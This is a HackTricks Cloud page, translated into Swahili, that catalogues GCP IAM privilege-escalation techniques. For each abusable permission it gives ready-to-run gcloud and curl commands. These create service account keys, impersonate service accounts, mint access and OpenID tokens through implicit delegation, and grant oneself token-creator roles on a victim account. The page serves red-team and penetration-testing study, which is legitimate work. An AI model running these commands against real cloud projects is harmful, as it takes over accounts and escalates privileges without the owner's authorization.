GCP - IAM Privesc
Reading time: 8 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
IAM
Pata maelezo zaidi kuhusu IAM katika:
GCP - IAM, Principals & Org Policies Enum
iam.roles.update
(iam.roles.get
)
Mshambuliaji mwenye ruhusa zilizoelezwa ataweza kuboresha jukumu lililotolewa kwako na kukupa ruhusa za ziada kwa rasilimali nyingine kama:
gcloud iam roles update <rol name> --project <project> --add-permissions <permission>
Unaweza kupata skripti ya kuharakisha kuunda, kutumia na kusafisha mazingira ya vuln hapa na skripti ya python ya kutumia ruhusa hii hapa. Kwa maelezo zaidi angalia utafiti wa asili.
iam.serviceAccounts.getAccessToken
(iam.serviceAccounts.get
)
Mshambuliaji mwenye ruhusa zilizotajwa ataweza kuomba tokeni ya ufikiaji inayomilikiwa na Akaunti ya Huduma, hivyo inawezekana kuomba tokeni ya ufikiaji ya Akaunti ya Huduma yenye ruhusa zaidi kuliko zetu.
gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \
auth print-access-token
Unaweza kupata skripti ya kuendesha kuunda, kutumia na kusafisha mazingira yenye udhaifu hapa na skripti ya python ya kutumia ruhusa hii hapa. Kwa maelezo zaidi angalia utafiti wa asili.
iam.serviceAccountKeys.create
Mshambuliaji mwenye ruhusa zilizotajwa ataweza kuunda funguo inayosimamiwa na mtumiaji kwa Akaunti ya Huduma, ambayo itaturuhusu kufikia GCP kama Akaunti hiyo ya Huduma.
gcloud iam service-accounts keys create --iam-account <name> /tmp/key.json
gcloud auth activate-service-account --key-file=sa_cred.json
Unaweza kupata skripti ya kuendesha kuunda, kutumia na kusafisha mazingira yenye udhaifu hapa na skripti ya python ya kutumia ruhusa hii hapa. Kwa maelezo zaidi angalia utafiti wa asili.
Kumbuka kwamba iam.serviceAccountKeys.update
haitafanya kazi kubadilisha funguo za SA kwa sababu ili kufanya hivyo ruhusa iam.serviceAccountKeys.create
inahitajika pia.
iam.serviceAccounts.implicitDelegation
Ikiwa una ruhusa iam.serviceAccounts.implicitDelegation
kwenye Akaunti ya Huduma ambayo ina ruhusa iam.serviceAccounts.getAccessToken
kwenye Akaunti ya Huduma ya tatu, basi unaweza kutumia implicitDelegation kuunda tokeni kwa Akaunti hiyo ya Huduma ya tatu. Hapa kuna mchoro kusaidia kuelezea.
Kumbuka kwamba kulingana na nyaraka, uwakilishi wa gcloud
unafanya kazi tu kuzalisha tokeni kwa kutumia njia generateAccessToken(). Hivyo hapa kuna jinsi ya kupata tokeni kwa kutumia API moja kwa moja:
curl -X POST \
'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer '"$(gcloud auth print-access-token)" \
-d '{
"delegates": ["projects/-/serviceAccounts/'"${DELEGATED_SERVICE_ACCOUNT}"'"],
"scope": ["https://www.googleapis.com/auth/cloud-platform"]
}'
Unaweza kupata skripti ya kuendesha kuunda, kutumia na kusafisha mazingira yenye udhaifu hapa na skripti ya python ya kutumia ruhusa hii hapa. Kwa maelezo zaidi angalia utafiti wa asili.
iam.serviceAccounts.signBlob
Mshambuliaji mwenye ruhusa zilizotajwa ataweza kusaini payloads zisizo na saini katika GCP. Hivyo itakuwa inawezekana kuunda JWT isiyo na saini ya SA na kisha kuisafirisha kama blob ili kupata JWT iliyosainiwa na SA tunayoelekeza. Kwa maelezo zaidi soma hii.
Unaweza kupata skripti ya kuendesha kuunda, kutumia na kusafisha mazingira yenye udhaifu hapa na skripti ya python ya kutumia ruhusa hii hapa na hapa. Kwa maelezo zaidi angalia utafiti wa asili.
iam.serviceAccounts.signJwt
Mshambuliaji mwenye ruhusa zilizotajwa ataweza kusaini JSON web tokens (JWTs) zilizo na muundo mzuri. Tofauti na njia ya awali ni kwamba badala ya kumfanya google asaini blob inayoshikilia JWT, tunatumia njia ya signJWT ambayo tayari inatarajia JWT. Hii inafanya iwe rahisi kutumia lakini unaweza kusaini JWT tu badala ya bytes zozote.
Unaweza kupata skripti ya kuendesha kuunda, kutumia na kusafisha mazingira yenye udhaifu hapa na skripti ya python ya kutumia ruhusa hii hapa. Kwa maelezo zaidi angalia utafiti wa asili.
iam.serviceAccounts.setIamPolicy
Mshambuliaji mwenye ruhusa zilizotajwa ataweza kuongeza sera za IAM kwa akaunti za huduma. Unaweza kuitumia ili kujipa ruhusa unazohitaji ili kujifanya kuwa akaunti ya huduma. Katika mfano ufuatao tunajipa nafasi ya roles/iam.serviceAccountTokenCreator
juu ya SA ya kuvutia:
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \
--member="user:username@domain.com" \
--role="roles/iam.serviceAccountTokenCreator"
# If you still have prblem grant yourself also this permission
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \ \
--member="user:username@domain.com" \
--role="roles/iam.serviceAccountUser"
Unaweza kupata skripti ya kuendesha kuunda, kutumia na kusafisha mazingira ya vuln hapa.
iam.serviceAccounts.actAs
Ruhusa ya iam.serviceAccounts.actAs ni kama ruhusa ya iam:PassRole kutoka AWS. Ni muhimu kwa kutekeleza kazi, kama kuanzisha mfano wa Compute Engine, kwani inatoa uwezo wa "kuwakilisha" Akaunti ya Huduma, kuhakikisha usimamizi salama wa ruhusa. Bila hii, watumiaji wanaweza kupata ufikiaji usiofaa. Zaidi ya hayo, kutumia iam.serviceAccounts.actAs kunahusisha mbinu mbalimbali, kila moja ikihitaji seti ya ruhusa, tofauti na mbinu nyingine zinazohitaji moja tu.
Uwakilishi wa akaunti ya huduma
Kuwakilisha akaunti ya huduma kunaweza kuwa na manufaa sana ili kupata ruhusa mpya na bora. Kuna njia tatu ambazo unaweza kuwakilisha akaunti nyingine ya huduma:
- Uthibitishaji ukitumia funguo za faragha za RSA (zilizoelezwa hapo juu)
- Uidhinishaji ukitumia sera za Cloud IAM (zilizoelezwa hapa)
- Kuweka kazi kwenye huduma za GCP (zaidi inahusiana na kuathiri akaunti ya mtumiaji)
iam.serviceAccounts.getOpenIdToken
Mshambuliaji mwenye ruhusa zilizoelezwa ataweza kuunda OpenID JWT. Hizi zinatumika kuthibitisha utambulisho na hazibebei uidhinishaji wowote wa moja kwa moja dhidi ya rasilimali.
Kulingana na chapisho la kuvutia, ni muhimu kuashiria hadhira (huduma ambapo unataka kutumia tokeni kuthibitisha) na utapokea JWT iliyosainiwa na google ikionyesha akaunti ya huduma na hadhira ya JWT.
Unaweza kuunda OpenIDToken (ikiwa una ufikiaji) kwa:
# First activate the SA with iam.serviceAccounts.getOpenIdToken over the other SA
gcloud auth activate-service-account --key-file=/path/to/svc_account.json
# Then, generate token
gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com
Basi unaweza tu kuitumia kufikia huduma hiyo kwa:
curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app
Baadhi ya huduma zinazounga mkono uthibitishaji kupitia aina hii ya token ni:
- Google Cloud Run
- Google Cloud Functions
- Google Identity Aware Proxy
- Google Cloud Endpoints (ikiwa unatumia Google OIDC)
Unaweza kupata mfano wa jinsi ya kuunda token ya OpenID kwa niaba ya akaunti ya huduma hapa.
Marejeleo
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.